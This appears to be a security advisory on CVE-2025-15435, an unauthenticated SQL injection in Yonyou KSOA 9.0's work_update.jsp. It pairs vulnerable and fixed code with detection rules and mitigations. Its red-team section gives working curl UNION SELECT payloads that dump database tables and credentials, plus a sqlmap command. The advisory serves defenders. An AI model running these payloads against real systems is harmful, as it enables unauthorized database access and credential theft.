CVE-2025-15435

Executive Summary

CVE-2025-15435 is a critical SQL injection vulnerability discovered in Yonyou KSOA 9.0, specifically within the /worksheet/work_update.jsp endpoint. The flaw allows an unauthenticated remote attacker to manipulate the Report parameter, leading to arbitrary SQL query execution against the backend database. Given the vendor's lack of response and the public availability of exploit code, this vulnerability poses a significant risk to all unpatched instances. The attack vector is network-based, requires no authentication, and can result in full data exfiltration, credential theft, and potential lateral movement within the enterprise network.

Supply Chain & Package Security

This vulnerability is not related to an open-source package manager (NPM, PyPI, Go, Ruby). It affects a proprietary enterprise resource planning (ERP) application from Yonyou. The risk is amplified by the lack of a vendor-supplied patch, forcing organizations to rely on virtual patching or custom mitigations.

CVSS Breakdown & Threat Level

• CVSS Score: 7.3 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L
• Attack Vector (AV): Network – Exploitable remotely over the network.
• Attack Complexity (AC): Low – No special conditions required.
• Privileges Required (PR): None – No authentication needed.
• User Interaction (UI): None – No user action required.
• Scope (S): Unchanged – The vulnerable component is the database.
• Confidentiality (C): High – Full database read access possible.
• Integrity (I): Low – Limited ability to modify data via SQL injection.
• Availability (A): Low – Potential to cause database errors or denial of service.

Threat Level: High. The combination of remote exploitability, no authentication, and public exploit code makes this a prime target for automated scanning and mass exploitation.

Deep Dive & Mechanics

The vulnerability resides in the work_update.jsp page, which is part of Yonyou KSOA's worksheet management module. The Report parameter is directly concatenated into a SQL query without proper sanitization or parameterization. An attacker can inject SQL commands by appending a single quote (') or other SQL metacharacters to the Report value.

Example vulnerable code snippet (conceptual):

String report = request.getParameter("Report");
String query = "SELECT * FROM worksheets WHERE report_name = '" + report + "'";
Statement stmt = connection.createStatement();
ResultSet rs = stmt.executeQuery(query);

This allows an attacker to break out of the string context and execute arbitrary SQL. For example, injecting ' OR '1'='1 would return all rows, while ' UNION SELECT username, password FROM users -- could extract credentials.

Vulnerable vs. Patched Code

Since no official patch exists, the following represents the vulnerable pattern and a secure alternative.

Vulnerable Code (JSP):

<%
String report = request.getParameter("Report");
String sql = "SELECT * FROM work_report WHERE report_name = '" + report + "'";
Statement stmt = conn.createStatement();
ResultSet rs = stmt.executeQuery(sql);
%>

Patched Code (using PreparedStatement):

<%
String report = request.getParameter("Report");
String sql = "SELECT * FROM work_report WHERE report_name = ?";
PreparedStatement pstmt = conn.prepareStatement(sql);
pstmt.setString(1, report);
ResultSet rs = pstmt.executeQuery();
%>

The patched version uses parameterized queries, which prevent SQL injection by treating user input as data, not executable code.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Deploy a vulnerable instance of Yonyou KSOA 9.0 (e.g., using a Docker container or a VM with the software installed).
2. Ensure the /worksheet/work_update.jsp endpoint is accessible.

Exploit Steps:

1. Reconnaissance: Identify the target URL and confirm the endpoint exists.

   curl -v "http://target.com/worksheet/work_update.jsp"
   

2. Test for SQL Injection: Inject a single quote to trigger an error.

   curl "http://target.com/worksheet/work_update.jsp?Report=test'"
   

3. Extract Database Version:

   curl "http://target.com/worksheet/work_update.jsp?Report=test' UNION SELECT @@version,2,3--"
   

4. Enumerate Tables:

   curl "http://target.com/worksheet/work_update.jsp?Report=test' UNION SELECT table_name,2,3 FROM information_schema.tables--"
   

5. Dump Credentials:

   curl "http://target.com/worksheet/work_update.jsp?Report=test' UNION SELECT username,password,3 FROM users--"
   

Automated Exploitation (using sqlmap):

sqlmap -u "http://target.com/worksheet/work_update.jsp?Report=test" --batch --dbs

Blue Team (Defensive)

Detection Steps:

1. Monitor Web Logs: Look for requests to /worksheet/work_update.jsp containing SQL keywords (UNION, SELECT, OR, ').
2. Deploy WAF Rules: Block requests with suspicious patterns in the Report parameter.
3. Database Auditing: Enable logging of all SQL queries to detect anomalous activity.

Honeypot Setup:

• Create a fake work_update.jsp that logs all input and alerts on SQL injection attempts.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /worksheet/work_update.jsp with Report parameter containing SQL metacharacters (', ", --, #, /*).
  • Outbound database connections from the web server to unusual IPs (data exfiltration).
• File IOCs:
  • Modified work_update.jsp file (if attacker uploads a web shell).
  • Suspicious files in the web root (e.g., cmd.jsp, shell.aspx).
• Log IOCs:
  • Database error logs showing SQL syntax errors.
  • Web server logs with 400 or 500 status codes from the vulnerable endpoint.

Detection Engineering

YARA Rule

rule CVE_2025_15435_SQLi_Detection {
    meta:
        description = "Detects SQL injection attempts targeting Yonyou KSOA work_update.jsp"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-15435"
    strings:
        $s1 = "/worksheet/work_update.jsp" nocase
        $s2 = "Report=" nocase
        $s3 = "'" nocase
        $s4 = "UNION" nocase
        $s5 = "SELECT" nocase
        $s6 = "OR" nocase
    condition:
        all of ($s1, $s2) and 1 of ($s3, $s4, $s5, $s6)
}

Sigma Rule

title: SQL Injection Attempt on Yonyou KSOA work_update.jsp
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects SQL injection attempts targeting the Report parameter in work_update.jsp
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-stem: '/worksheet/work_update.jsp'
        cs-uri-query|contains: 'Report='
    keywords:
        - "'"
        - "UNION"
        - "SELECT"
        - "OR"
        - "--"
    condition: selection and keywords
falsepositives:
    - Legitimate use of single quotes in report names (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-15435 SQL Injection Attempt on Yonyou KSOA"; flow:to_server,established; content:"/worksheet/work_update.jsp"; http_uri; content:"Report="; http_uri; pcre:"/(\%27|'|UNION|SELECT|OR)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Virtual Patching: Deploy a WAF rule to block requests containing SQL metacharacters in the Report parameter.
2. Input Validation: Implement server-side validation to reject non-alphanumeric characters in the Report parameter.
3. Network Segmentation: Restrict access to the KSOA application to trusted IPs only.

Long-Term Fix:

• Since the vendor is unresponsive, consider rewriting the work_update.jsp to use parameterized queries (PreparedStatement) or migrate to a supported ERP solution.
• Apply the principle of least privilege to the database user used by the application.

Workaround:

• Disable the vulnerable endpoint by removing or renaming work_update.jsp if not critical to business operations.

Valters IT – Securing Your Digital Frontier